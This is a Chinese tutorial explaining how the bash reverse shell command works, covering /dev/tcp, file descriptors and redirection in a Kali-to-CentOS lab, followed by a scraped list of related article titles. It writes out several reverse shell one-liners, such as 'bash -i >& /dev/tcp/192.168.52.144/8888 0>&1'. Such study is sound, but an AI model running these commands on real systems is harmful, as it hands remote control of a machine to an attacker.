目录

  0x01 什么是反弹shell?
  0x02 命令拆分详解
  0x03 文件描述符
  0x04 shell 输入/输出重定向
  0x05 输入输出结合获得shell

什么是反弹shell?

假设有两台主机
A(控制端)
B(被控端)

正向shell,就是ssh、Telnet的连接,A主动发起连接B指定端口,然后A就可以通过命令控制B了

反弹shell,A先开启一个监听端口,让B去连接A的这个端口,连接成功后,A就能控制B了

命令拆分详解

bash -i >& /dev/tcp/192.168.1.1/9090 0>&1

bash -i

bash -i,意为创建一个交互式的bash shell

/dev/tcp/192.168.1.1/9090

dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件
/dev/tcp/是linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,linux中还存在/dev/upd/
所以上述命令是和192.168.1.1:9090建立TCP连接

虽然/dev/tcp/${HOST}/${PORT}这个字符虽然看起来像一个文件系统中的文件,并且位于/dev这个设备文件夹下

但是这个文件并不存在,并且不是一个设备文件。这只是bash实现的用来实现网络请求的一个接口,其实就像我们自己编写的一个命令行程序,按照指定的格式输入host port参数,就能发起一个socket连接

文件描述符

Linux系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输出/输出重定向)

标准输入(stdin) 代码为0 使用<或<< 默认设备键盘
标准输出(stdout) 代码为1 使用>或>> 默认设备显示器
标准错误输出(stderr) 代码为2 使用2>或2>> 默认设备显示器

大多数Linux系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输入写入到标准输出,默认情况下,这也是你的终端。

shell 输入/输出重定向

如上,我们正常使用终端执行命令时,默认输入输出皆是终端。

输出重定向

顾名思义,就是将输出结果重定向到其他地方

1️⃣>

使用 1> 将输出结果写入到指定文件中,文件不存在则创建文件,文件如果存在会覆盖原文件内容

1> 中的1是默认的可以忽略不写,也就是可以写成>
同理0<可以写成<

2️⃣>>

使用>>会追加内容在文件末尾

3️⃣实例

控制端:kali
被控端:centos

kali监听8888端口


centos输入命令

kali监听到输出结果


kali继续监听端口,centos输入命令


kali得到输出结果

输入重定向

1️⃣实例

kali开启监听端口

centos执行命令,在kali输入命令就能控制centos输入

输入输出结合获得shell

两条命令

bash -i > /dev/tcp/192.168.52.144/8888
bash -i < /dev/tcp/192.168.52.144/8888

结合一下,即可实现反弹shell

bash -i >& /dev/tcp/192.168.52.144/8888 0>&1

1️⃣0>&1

语法格式是

>&word

当word为数字或者-时,表示复制文件描述符
复制格式有num1<&num2和num1>&num2,区别是,前者是以只读的形式打开,后者是以写的形式打开,这里两者均可

0>&1这里意思是将0[标准输入]重定向到了1[标准输出]指向的位置

2️⃣>&

当word不是数字或-字符时,>&表示将标准错误输出合并到标准输出中

反弹shell bash -i命令相关推荐

  1. shell/bash脚本命令教程

      shell/bash其实就是我们日常在unix系统终端中执行的语句,只是通常我们在命令行中都是单行语句执行的,而有时,我们希望将一些操作命令写到一个文本中,让电脑自动按顺序或是并行地执行这些命令, ...

  2. 内网渗透-常用反弹shell方法总结

    常用反弹shell方法总结 文章目录 常用反弹shell方法总结 前言 bash反弹shell nc反弹shell 1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 ...

  3. Linux下反弹shell

    目录 bash反弹 curl反弹 nc反弹 在渗透过程中,目标处于内网环境,或因为端口限制而我们无法直连目标机器,此时需要通过反弹shell来让目标机器主动连接我们获取一个交互式shell,以便继续深 ...

  4. 反弹Shell具体实现

    文章目录 啥是反弹Shell 反弹Shell实验 结语 啥是反弹Shell 反弹shell(reverseshell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入 ...

  5. 安全技术系列之反弹Shell

    原文出处:https://xz.aliyun.com/t/9488 前言 在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了. 反弹shell, ...

  6. 【转】反弹Shell,看这一篇就够了

    前言 在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹个shell是再常见不过的事情了. 反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到 ...

  7. Windows nc命令下载使用与使用bash建立反弹shell

    今天继续给大家介绍渗透测试相关知识,本文主要内容是Windows nc命令下载使用与使用bash建立反弹shell. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造 ...

  8. centos7输入shell找不到命令_反弹shell原理与实现

    什么是反弹shell? 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端.reverse shell与tel ...

  9. crontab命令使用记录(精,反弹shell)

    1. 编辑定时任务 crontab -e linux通用路径:/etc/crontab ubuntu被编辑的文件路径一般为:/var/spool/cron/crontabs/当前用户 centos被编 ...

最新文章

  1. centos6.5下安装python3安装、python3虚拟环境创建venv
  2. 兴林村脱贫谋定向往宜居村庄-农业大健康·万祥军:美丽蝶变
  3. 推荐几本对创业者很有用的书籍
  4. Jquery ajax 访问调用带参数的服务方法!
  5. angualr Material Icons
  6. MySql Cluster 安装,Centos,双管理,多数据,多SQL节点
  7. Unity4.3 遮挡剔除:基本知识
  8. bzoj 2302: [HAOI2011]Problem c(DP)
  9. so easy 的弹出层——使用jquery
  10. 【图解线性代数】第二章——向量几何的基本意义【思维导图】
  11. 服务器安装虚拟声卡,虚拟声卡安装使用 虚拟声卡注意事项
  12. win10任务栏全透明
  13. Choerodon猪齿鱼实践之Webhook配置
  14. 《架构即未来》笔记1——概述全书内容
  15. 面试题 - 浏览器兼容性问题与解决方案
  16. 如何在Android中发送电子邮件
  17. 谷歌地球(Google Earth) 7.3.3.7721
  18. java基础知识竞海报_40张风韵别致的海报设计(经典欣赏)
  19. python打开zip文件_Python ZIP 文件创建与读取
  20. 为什么android没有iOS流畅,安卓系统为什么没有IOS流畅,原因究竟出在哪?

热门文章

  1. 前馈神经网络--前向传播与反向传播计算过程
  2. 纪录一次携号转网记录:
  3. python批量创建对象
  4. 【C语言】C语言成长之路之超易上手的傻瓜版三子棋教程₍ᐢ.ˬ.⑅ᐢ₎
  5. 【LeetCode】背包问题总结
  6. h5如何动态获取键盘高度_js判断手机端键盘弹出从而调整输入框高度
  7. 3dsMax---曲奇饼干
  8. 抖音html5表白,抖音最火的表白情话,深情走心,恋爱必备
  9. AVID Pro Tools 10 HD v10.3.10 MacOS 中文版音频后期制作软件
  10. 基于canvas 2D实现微信小程序自定义组件-环形进度条